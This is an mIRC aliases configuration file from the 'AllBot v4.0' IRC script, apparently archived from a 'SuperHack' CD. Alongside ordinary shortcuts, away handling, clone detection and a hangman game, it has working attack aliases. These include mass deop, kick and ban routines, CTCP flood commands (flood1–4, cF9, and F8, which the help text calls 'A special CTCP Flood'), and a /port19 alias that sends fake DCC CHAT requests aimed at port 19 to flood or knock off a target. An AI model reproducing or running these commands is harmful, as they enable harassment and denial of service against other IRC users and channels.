home *** CD-ROM | disk | FTP | other *** search
/ SuperHack / SuperHack CD.bin / SCRIPTZ / ALLBOT4.ZIP / ALIASES.INI < prev    next >
INI File  |  1996-12-13  |  17KB  |  481 lines
  1. [Aliases]
  2. n0=/op /mode # +ooo $$1 $2 $3
  3. n1=/dop /mode # -ooo $$1 $2 $3
  4. n2=/j /join #$$1
  5. n3=/p /part #
  6. n4=/n /names #$$1
  7. n5=/w /whois $$1
  8. n6=/k /kick # $$1
  9. n7=/q /query $$1
  10. n8=/bk /kick $1 $2 | /ban $1 $2
  11. n9=/hop /part # | /join #$$1
  12. n10=/send /dcc send $1 $2
  13. n11=/chat /dcc chat $1
  14. n12=/ping /ctcp $$1 ping
  15. n13=/m /ctcp # midi $1 $+ .mid | /run c:\windows\mplayer.exe [[ $1 ] $+ [ .mid ] ] 
  16. n14=/spamkick /bk $1 SpamSux
  17. n15=fchan {
  18. n16=  join $$1 $+ $chr(160) $+ @ $+ $$2
  19. n17=}
  20. n18=ghost {
  21. n19=  join $$1 $+ $chr(160)
  22. n20=}
  23. n21=gone away gone $$?="Enter Away Message" ( $+ $time @ $adate) (log on) | ame is gone.( $$! ) ( $+ $time @ $adate) (log on) | %amsg = gone.( $$! ) ( $+ $time @ $adate)  (log on) | enable #away | echo # 4 [{ AllBot }] --> You are now away... Take your time going, hurry back!
  24. n22=back if (%awaymsg > 0) { echo 5 You Have  $+ %awaymsg $+  Messages waiting. Use: /vamsg To view Away messages later or /damsg to delete the messages. | if (Y isin $$?="View Messages? (Y/N)") vamsg } | away | ame haz ( returned ) [Thank goodness!] | disable #away | echo # 4 [{ AllBot }] --> Dangit, you're back already?
  25. n23=vamsg run notepad.exe $mIRCdiraway.txt 
  26. n24=damsg recho 5 Deleting %awaymsg Messages... | write -c $mIRCdiraway.txt | %awaymsg = 0 | away | settitle | recho 5 Away Messages Deleted.
  27. n25=mass { 
  28. n26=  %masscmd = $1
  29. n27=  if (%masscmd == d) {
  30. n28=    %count = 0
  31. n29=    unset %ops
  32. n30=    %cn = 0
  33. n31=    :start
  34. n32=    %count = %count + 1
  35. n33=    if ($opnick(%count,#) == $null) { goto null }
  36. n34=    if (($opnick(%count,#) == $me)) { goto Start }
  37. n35=    :Start2
  38. n36=    %ops = %ops $opnick(%count,#)
  39. n37=    %cn = %cn + 1
  40. n38=    if (%cn == 4) { 
  41. n39=      if ((undernet !isin $server) && (dal !isin $server)) { goto four }
  42. n40=    }
  43. n41=    if (%cn == 6) { 
  44. n42=      if ((undernet isin $server) || (dal isin $server)) { goto six }
  45. n43=    }
  46. n44=    goto Start
  47. n45=    :null
  48. n46=    unset %count
  49. n47=    raw -q mode # -oooooo %ops
  50. n48=    raw -q mode # -oooooo %ops
  51. n49=    halt
  52. n50=    :four
  53. n51=    raw -q mode # -oooo %ops
  54. n52=    %cn = 0
  55. n53=    %ops =
  56. n54=    goto Start
  57. n55=    :Six
  58. n56=    raw -q mode # -oooooo %ops
  59. n57=    %cn = 0
  60. n58=    unset %ops
  61. n59=    goto Start
  62. n60=  }
  63. n61=  if (%masscmd == o) {
  64. n62=    %count = 0
  65. n63=    unset %nops
  66. n64=    %cn = 0
  67. n65=    :start
  68. n66=    %count = %count + 1
  69. n67=    if ($nopnick(%count,#) == $null) { goto null }
  70. n68=    if ($nopnick(%count,#) == $me) { goto Start }
  71. n69=    :Start2
  72. n70=    %nops = %nops $nopnick(%count,#)
  73. n71=    %cn = %cn + 1
  74. n72=    if (%cn == 4) { 
  75. n73=      if ((undernet !isin $server) && (dal !isin $server)) { goto four }
  76. n74=    }
  77. n75=    if (%cn == 6) { 
  78. n76=      if ((undernet isin $server) || (dal isin $server)) { goto six }
  79. n77=    }
  80. n78=    goto Start
  81. n79=    :null
  82. n80=    unset %count
  83. n81=    raw -q mode # +oooooo %nops
  84. n82=    raw -q mode # +oooooo %nops
  85. n83=    halt
  86. n84=    :four
  87. n85=    raw -q mode # +oooo %nops
  88. n86=    %cn = 0
  89. n87=    %nops =
  90. n88=    goto Start
  91. n89=    :Six
  92. n90=    raw -q mode # +oooooo %nops
  93. n91=    %cn = 0
  94. n92=    %nops =
  95. n93=    goto Start
  96. n94=  } 
  97. n95=  if (%masscmd == v) {
  98. n96=    %count = 0
  99. n97=    unset %nvo
  100. n98=    %cn = 0
  101. n99=    :start
  102. n100=    %count = %count + 1
  103. n101=    if ($nopnick(%count,#) == $null) { goto null }
  104. n102=    if ($nopnick(%count,#) == $me) { goto Start }
  105. n103=    :Start2
  106. n104=    %nvo = %nvo $nopnick(%count,#)
  107. n105=    %cn = %cn + 1
  108. n106=    if (%cn == 4) { 
  109. n107=      if ((undernet !isin $server) && (dal !isin $server)) { goto four }
  110. n108=    }
  111. n109=    if (%cn == 6) { 
  112. n110=      if ((undernet isin $server) || (dal isin $server)) { goto six }
  113. n111=    }
  114. n112=    goto Start
  115. n113=    :null
  116. n114=    unset %count
  117. n115=    raw -q mode # +vvvvvv %nvo
  118. n116=    raw -q mode # +vvvvvv %nvo
  119. n117=    halt
  120. n118=    :four
  121. n119=    raw -q mode # +vvvv %nvo
  122. n120=    %cn = 0
  123. n121=    %nvo =
  124. n122=    goto Start
  125. n123=    :Six
  126. n124=    raw -q mode # +vvvvvv %nvo
  127. n125=    %cn = 0
  128. n126=    %nvo =
  129. n127=    goto Start
  130. n128=  }
  131. n129=  if (%masscmd == q) {
  132. n130=    %count = 0
  133. n131=    unset %vo
  134. n132=    %cn = 0
  135. n133=    :start
  136. n134=    %count = %count + 1
  137. n135=    if ($nopnick(%count,#) == $null) { goto null }
  138. n136=    if ($nopnick(%count,#) == $me) { goto Start }
  139. n137=    :Start2
  140. n138=    %vo = %vo $nopnick(%count,#)
  141. n139=    %cn = %cn + 1
  142. n140=    if (%cn == 4) { 
  143. n141=      if ((undernet !isin $server) && (dal !isin $server)) { goto four }
  144. n142=    }
  145. n143=    if (%cn == 6) { 
  146. n144=      if ((undernet isin $server) || (dal isin $server)) { goto six }
  147. n145=    }
  148. n146=    goto Start
  149. n147=    :null
  150. n148=    unset %count
  151. n149=    raw -q mode # -vvvvvv %vo
  152. n150=    raw -q mode # -vvvvvv %vo
  153. n151=    halt
  154. n152=    :four
  155. n153=    raw -q mode # -vvvv %vo
  156. n154=    %cn = 0
  157. n155=    %vo =
  158. n156=    goto Start
  159. n157=    :Six
  160. n158=    raw -q mode # -vvvvvv %vo
  161. n159=    %cn = 0
  162. n160=    %vo =
  163. n161=    goto Start
  164. n162=  }
  165. n163=  if (%masscmd == k) {
  166. n164=    %k = 0
  167. n165=    :start
  168. n166=    %k = %k + 1
  169. n167=    if ($nick(%k,#) = $me) { goto start }
  170. n168=    if ($nick(%k,#) = $null) { /halt } 
  171. n169=    raw -q kick # $nick(%k,#) : MassK 
  172. n170=    goto start
  173. n171=  }
  174. n172=  if (%masscmd == n) {
  175. n173=    %k = 0
  176. n174=    :start
  177. n175=    %k = %k + 1
  178. n176=    if ($nopnick(%k,#) = $me) { goto start }
  179. n177=    if ($nopnick(%k,#) = $null) { /halt } 
  180. n178=    raw -q kick # $nopnick(%k,#) : MassLK
  181. n179=    goto start
  182. n180=  }
  183. n181=  if (%masscmd == p) {
  184. n182=    %k = 0
  185. n183=    :start
  186. n184=    %k = %k + 1
  187. n185=    if ($opnick(%k,#) = $me) { goto start }
  188. n186=    if ($opnick(%k,#) = $null) { halt } 
  189. n187=    raw -q kick # $opnick(%k,#) :  MassOK
  190. n188=    goto start
  191. n189=  }
  192. n190=  if (%masscmd == b) {
  193. n191=    set %k 0
  194. n192=    :start
  195. n193=    %k = %k + 1
  196. n194=    if ($nick(%k,#) = $me) { goto start }
  197. n195=    if ($nick(%k,#) = $null) { halt } 
  198. n196=    raw -q kick # $nick(%k,#) :. MassKB | mode # +b $mask($address($nick(%k,#),2),2) 
  199. n197=    goto start
  200. n198=  }
  201. n199=  if (%masscmd == m) {
  202. n200=    recho 6 Mass MSG'in  $+ # $+  with -> *2
  203. n201=    %m = *2
  204. n202=    %i  = 0
  205. n203=    :Start
  206. n204=    %i = %i + 1
  207. n205=    if (($nick(%i,#) != $me) && ($nick(%i,#) != $null)) { msg $nick(%i,#) [Mass MSG]: %m }
  208. n206=    if ($nick(%i,#) == $null) { halt }
  209. n207=    goto Start
  210. n208=  }
  211. n209=  if (%masscmd == i) {
  212. n210=    recho 6 Mass Inviting  $+ # $+  ( $+ $nick(0,#) ppl) to  $+ *2 $+ 
  213. n211=    %ic = *2
  214. n212=    %i = 0
  215. n213=    :Start
  216. n214=    %i = %i + 1
  217. n215=    if (($nick(%i,#) != $me) && ($nick(%i,#) != $null)) { invite $nick(%i,#) %ic }
  218. n216=    if ($nick(%i,#) == $null) { halt }
  219. n217=    goto Start    
  220. n218=  }
  221. n219=}
  222. n220=rctcp raw -q notice $$1 : $+ $$2 $$3 *4 $+ 
  223. n221=<<>>
  224. n222=<<>>
  225. n223=/userlevel {
  226. n224=  echo # ---------------------------------------
  227. n225=  echo #  AllBot Level Dectector 
  228. n226=  echo # ---------------------------------------
  229. n227=  set %n 0
  230. n228=  :start
  231. n229=  inc %n 1
  232. n230=  if $nick(%n,#) == $null goto end
  233. n231=  echo # $nick(%n,#) has level $level($nick(%n,#))
  234. n232=  goto start
  235. n233=  :end
  236. n234=  /echo # ---------------------------------------
  237. n235=}
  238. n236=/F1 /join #mirc_scripts
  239. n237=/F2 /echo # I told you this does nothing!!   Well, except print letters on the screen 
  240. n238=/F3 gone
  241. n239=/F4 back
  242. n240=/F5 /credits | /echo 4 -s [AllBot] | /mcredits
  243. n241=<<>>
  244. n242=<<>>
  245. n243=<<>>
  246. n244=<<>>
  247. n245=<<>>
  248. n246=/credits {
  249. n247=  echo 4 -s [ AllBot ] v4.0  by CoolsVille - the Ultimate Script - http://www.feist.com/~psmother
  250. n248=}
  251. n249=/mcredits {
  252. n250=  echo 4 -s [AllBot] Thanks to:
  253. n251=  echo 4 -s [AllBot] SpamSux - my best friend, best supporter, and greatest hack partner on IRC
  254. n252=  echo 4 -s [AllBot] Toolman and ^SLICK^ and Waterfront who helped me script
  255. n253=  echo 4 -s [AllBot] To everyone in #mirc_scripts - the only real scripting chat room!
  256. n254=}
  257. n255=/mservers {
  258. n256=  .remove servers.txt
  259. n257=  .enable #master
  260. n258=  echo 4 -s [AllBot] Adding master server list...
  261. n259=  links
  262. n260=}
  263. n261=/masskick {
  264. n262=  set %mkbmask $$1
  265. n263=  set %bnick $nick(0,%chan)
  266. n264=  %counter = 0
  267. n265=  :check
  268. n266=  inc %counter
  269. n267=  if (%counter <= %bnick) {
  270. n268=    if (%mkbmask iswm $address($nick(%counter,%chan),1) && $nick(%counter,%chan) !isop %chan) {
  271. n269=      kick %chan $nick(%counter,%chan) dot filterkick of %mkbmask
  272. n270=    }
  273. n271=    goto check
  274. n272=  }
  275. n273=}
  276. n274=/op /mode # +ooo $$1 $2 $3
  277. n275=/dop /mode # -ooo $$1 $2 $3
  278. n276=/deop /mode # -ooo $$1 $2 $3
  279. n277=/j /raw -q join #$$1 *2
  280. n278=/p /raw -q part #$$1 *2
  281. n279=/n /raw -q names #$$1
  282. n280=/w /raw -q whois $$1
  283. n281=/we /raw -q whois $$1 $$1
  284. n282=/ww /raw -q whowas $$1
  285. n283=/k /kick # $$1 *2
  286. n284=/q /query $$1
  287. n285=/i /raw invite $$1 $$2
  288. n286=/send /dcc send $1 $2
  289. n287=/chat /dcc chat $1
  290. n288=/b /ban *1
  291. n289=/bb /kick # $$1 *2 | /ban # $$1 2 | /set %chan # | /sc $address($$1,3)
  292. n290=/no /notice $$1 [private] *2
  293. n291=/o /onotice | $+ # $+ -ops( $+ $opnick(0,#) $+ )| *1
  294. n292=/omsg /omsg  | $+ # $+ -ops| *1
  295. n293=/s /notice $$1  $+ *2 $+ 
  296. n294=/sf /.notice $$1  $+ *2 $+ 
  297. n295=/so /onotice # $1  *2
  298. n296=/sl {
  299. n297=  notice $1  $$2
  300. n298=  notice $1  $$3
  301. n299=  notice $1  $$4
  302. n300=  notice $1  $$5
  303. n301=  notice $1  $$6
  304. n302=  notice $1  $$7
  305. n303=  notice $1  $$8
  306. n304=  notice $1  $$9
  307. n305=  notice $1  $$10
  308. n306=  notice $1  $$11
  309. n307=  notice $1  $$12
  310. n308=  notice $1  $$13
  311. n309=  notice $1  $$14
  312. n310=  notice $1  $$15 
  313. n311=}
  314. n312=/d /dns *1
  315. n313=/stats /raw stats $1 *2
  316. n314=/cycle /raw part # | /raw join #
  317. n315=<<>>
  318. n316=<<>>
  319. n317=/clone {
  320. n318=  %t = 0
  321. n319=  :start
  322. n320=  inc %t 1
  323. n321=  if $nick(%t,#) == $null goto end
  324. n322=  if $address($nick(%t,#),3) == $null { whois $nick(%t,#) | /set %whois 1 }
  325. n323=  goto start
  326. n324=  :end
  327. n325=  if %whois == $null clone_  | /else .timer 1 10 /clone
  328. n326=  unset %t %whois
  329. n327=}
  330. n328=/clone_ {
  331. n329=  set %u 0 | /set %x 0 | /unset %addlist
  332. n330=  :a
  333. n331=  inc %u 1 | /set %v 0
  334. n332=  if $nick(%u,#) == $null goto out
  335. n333=  :b
  336. n334=  inc %v 1
  337. n335=  if $nick(%v,#) == $null goto a
  338. n336=  if $nick(%u,#) == $nick(%v,#) goto b
  339. n337=  if $address($nick(%u,#),3) == $address($nick(%v,#),3) {
  340. n338=    if $address($nick(%v,#),3) !isin %addlist { set %addlist %addlist $address($nick(%v,#),3) | /inc %x 1 }
  341. n339=  }
  342. n340=  goto b
  343. n341=  :out
  344. n342=  %cloner # $chr(160) | /%cloner # ü $+ CLONE report for # $+ ü
  345. n343=  if %x == 1 %cloner # ü $+ There is %x CLONE on # $+ ü | /else %cloner # ü $+ There are %x CLONES on # $+ ü
  346. n344=  if %addlist == $null goto end
  347. n345=  set %u 0
  348. n346=  :c
  349. n347=  inc %u 1 | /set %v 0 | /set %w 1 | /unset %clone | /set %add $token(%u,32,%addlist)
  350. n348=  if %add == $null goto end
  351. n349=  :d
  352. n350=  inc %v 1
  353. n351=  if $nick(%v,#) == $null goto c
  354. n352=  if %add == $address($nick(%v,#),3) {
  355. n353=    if %clone == $null set %clone $nick(%v,#) | /else set %clone %clone & $nick(%v,#)
  356. n354=  }
  357. n355=  inc %w 1
  358. n356=  if (($nick(%w,#) == $null) && (%clone != $null)) { 
  359. n357=    %cloner # ü $+ %clone $+ ü  ü $+ %add $+ ü
  360. n358=  }
  361. n359=  goto d
  362. n360=  :end
  363. n361=  %cloner # üAllBot by CoolsVille | /%cloner # $chr(160) | /unset %u %v %w %x %addlist %add %clone
  364. n362=}
  365. n363=/flood1 timer 60 1 /ctcp $nick PING
  366. n364=/flood2 timer 60 1 /ctcp $nick VERSION
  367. n365=/flood3 timer 20 1 /ctcp $nick USERINFO
  368. n366=/flood4 timer 20 1 /ctcp $nick CLIENTINFO
  369. n367=/clonejoin {
  370. n368=  if $nick != $me {
  371. n369=    set %count 0 | /unset %clonejoin
  372. n370=    :start
  373. n371=    inc %count 1
  374. n372=    if $nick(%count,$chan) == $null goto end
  375. n373=    if $nick == $nick(%count,$chan) goto start
  376. n374=    if $address($nick(%count,$chan),3) == $address($nick,3) set %clonejoin %clonejoin $nick(%count,$chan) &
  377. n375=    goto start
  378. n376=    :end
  379. n377=    if %clonejoin != $null { /set %clonejoin %clonejoin $nick | /msg $chan ü $+ %clonejoin $+ ü are CLONES! | /msg $chan ü $+ $address($nick,3) $+ ü ▀δTΓKε|| } 
  380. n378=    unset %count | /unset %clonejoin
  381. n379=  }
  382. n380=}
  383. n381=<<>>
  384. n382=<<>>
  385. n383=/port19 /raw privmsg $$1 :DCC CHAT CHAT 3453536785 19 | /raw privmsg $$1 :DCC CHAT CHAT 3453536785 19 | /raw privmsg $$1 :DCC CHAT CHAT 3453536785 19 | /raw privmsg $$1 :DCC CHAT CHAT 3453536785 19
  386. n384=/F8 {
  387. n385=  set %ctcpname $?="Person to CTCP Flood"
  388. n386=  set %ctcpstuff $?="Some crap text here"
  389. n387=  set %ctcptwo %ctcpstuff + %ctcpstuff + %ctcpstuff + %ctcpstuff + %ctcpstuff + %ctcpstuff + %ctcpstuff + %ctcpstuff + %ctcpstuff + %ctcpstuff + %ctcpstuff + %ctcpstuff
  390. n388=  /timer 100 1 /ctcp %ctcpname %ctcptwo
  391. n389=}
  392. n390=/F12 /join %inviteme
  393. n391=/titlesel {
  394. n392=  echo 4 #  Hello!  Welcome to the [{ AllBot }] v4.0 for mirc4.7 by CoolsVille
  395. n393=  echo 4 #  Commands:
  396. n394=  echo 4 #  --------------------------
  397. n395=  echo 4 #  F1 --> Join #mirc_scripts
  398. n396=  echo 4 #  CTRL + F1 --> Join #teenzzzzz
  399. n397=  echo 4 #  F2 --> Just give it a try :)
  400. n398=  echo 4 #  F3 --> Set yourself Away
  401. n399=  echo 4 #  F4 --> Set yourself Back
  402. n400=  echo 4 #  F5 --> See the credits for [{ AllBot }]
  403. n401=  echo 4 #  F8 --> A special CTCP Flood
  404. n402=}
  405. n403=/cF1 /join #teenzzzzz
  406. n404=/cF9 {
  407. n405=  if %superflood = 2 goto flood else goto endflood
  408. n406=  :flood
  409. n407=  /flood1
  410. n408=  /flood2
  411. n409=  /flood3
  412. n410=  /flood4
  413. n411=  set %superflood 1
  414. n412=  :endflood
  415. n413=}
  416. n414=/handle_solution {
  417. n415=  if ($parm1 != !sol) halt
  418. n416=  if ($parm2 == $null) { msg $chan $nick $+ ... usage: !sol solution | halt }
  419. n417=  %attempt = $parm2*
  420. n418=  if (%attempt == %hangstr) { msg $chan $nick wins the hangman game!  The solution was " $+ %attempt $+ " | set %hangman off | halt }
  421. n419=  else msg $chan $nick $+ : wrong solution
  422. n420=}
  423. n421=/handle_letter {
  424. n422=  if ($parm2 == $null) { msg $chan $nick $+ ... usage: !ltr letter | halt }
  425. n423=  if ($parm3 != $null) { msg $chan $nick $+ ... usage: !ltr letter | halt }
  426. n424=  if ($len($parm2) != 1) { msg $chan $nick $+ ... just 1 letter | halt }
  427. n425=  %ltr = $lower($parm2)
  428. n426=  if (%ltr !isin %hangstr) { msg $chan $nick $+ : %ltr is not part of the solution | halt }
  429. n427=  if (%ltr isin %solvestr) { msg $chan $nick $+ : %ltr has already been guessed. | halt }
  430. n428=  set %hcnt 1 | set %leftltrs "" | set %rightltrs "" | set %hlen $len(%solvestr)
  431. n429=  :top
  432. n430=  if (%hcnt > %hlen) goto end
  433. n431=  %lltr = $mid(%hcnt,1,%hangstr)
  434. n432=  if (%lltr == %ltr) {
  435. n433=    set %foundltr true
  436. n434=    %lcnt = %hcnt - 1 | %rcnt = %hlen - %hcnt
  437. n435=    %leftltrs = $left(%lcnt,%solvestr) | set %lenl $len(%leftltrs)
  438. n436=    %rightltrs = $right(%rcnt,%solvestr) | set %lenr $len(%rightltrs)
  439. n437=    if (%lcnt == 0) { %lstr = %ltr | goto right }
  440. n438=    if (%lenl < %lcnt) %lstr = %leftltrs %ltr
  441. n439=    else %lstr = %leftltrs $+ %ltr
  442. n440=    :right
  443. n441=    if ($len(%lstr) == %hlen) { %solvestr = %lstr | goto nextltr }
  444. n442=    if (%rightltrs != $null) {
  445. n443=      if (%lenr < %rcnt) %solvestr = %lstr %rightltrs
  446. n444=      else %solvestr = %lstr $+ %rightltrs
  447. n445=    }
  448. n446=    :nextltr
  449. n447=  }
  450. n448=  inc %hcnt 1 | goto top
  451. n449=  :end
  452. n450=  if (%solvestr == %hangstr) { msg $chan $nick finished the game! | msg $chan the solution was: " $+ %hangstr $+ " | set %hangman off | halt }
  453. n451=  msg $chan $nick correctly guessed %ltr $+ !
  454. n452=  msg $chan now we have: %solvestr
  455. n453=}
  456. n454=/handle_hangman {
  457. n455=  set %start_hangman off | set %hangstr $read $mircdirhangman.txt
  458. n456=  set %hlen $len(%hangstr) | set %hcnt 1 | set %tstr %hangstr
  459. n457=  echo 4 $chan Hangman solution = %hangstr
  460. n458=  :top1
  461. n459=  if (%hcnt > %hlen) goto end1
  462. n460=  %thischar = $mid(%hcnt,1,%hangstr)
  463. n461=  %thisasc = $asc(%thischar)
  464. n462=  if (%thisasc != $null) {
  465. n463=    if (%thisasc != 33) {
  466. n464=      if (%thisasc != 39) {
  467. n465=        if (%thisasc != 44) {
  468. n466=          if (%thisasc != 63) {
  469. n467=            if (%thisasc != 46) %tstr = $replace(%tstr,%thischar,_)
  470. n468=          }
  471. n469=        }
  472. n470=      }
  473. n471=    }
  474. n472=  }
  475. n473=  inc %hcnt 1 | goto top1
  476. n474=  :end1
  477. n475=  msg $chan The hangman solution has %hlen characters.  Guess at a letter = !letter letter ... Guess a solution = !solve solution
  478. n476=  msg $chan %tstr | set %solvestr %tstr | set %hangman on
  479. n477=}
  480. n478=/Deopkick /mode $$2 -o $$1 | /kick $$2 $$1 You do NOT deop me!!!  [{ AllBot }]
  481.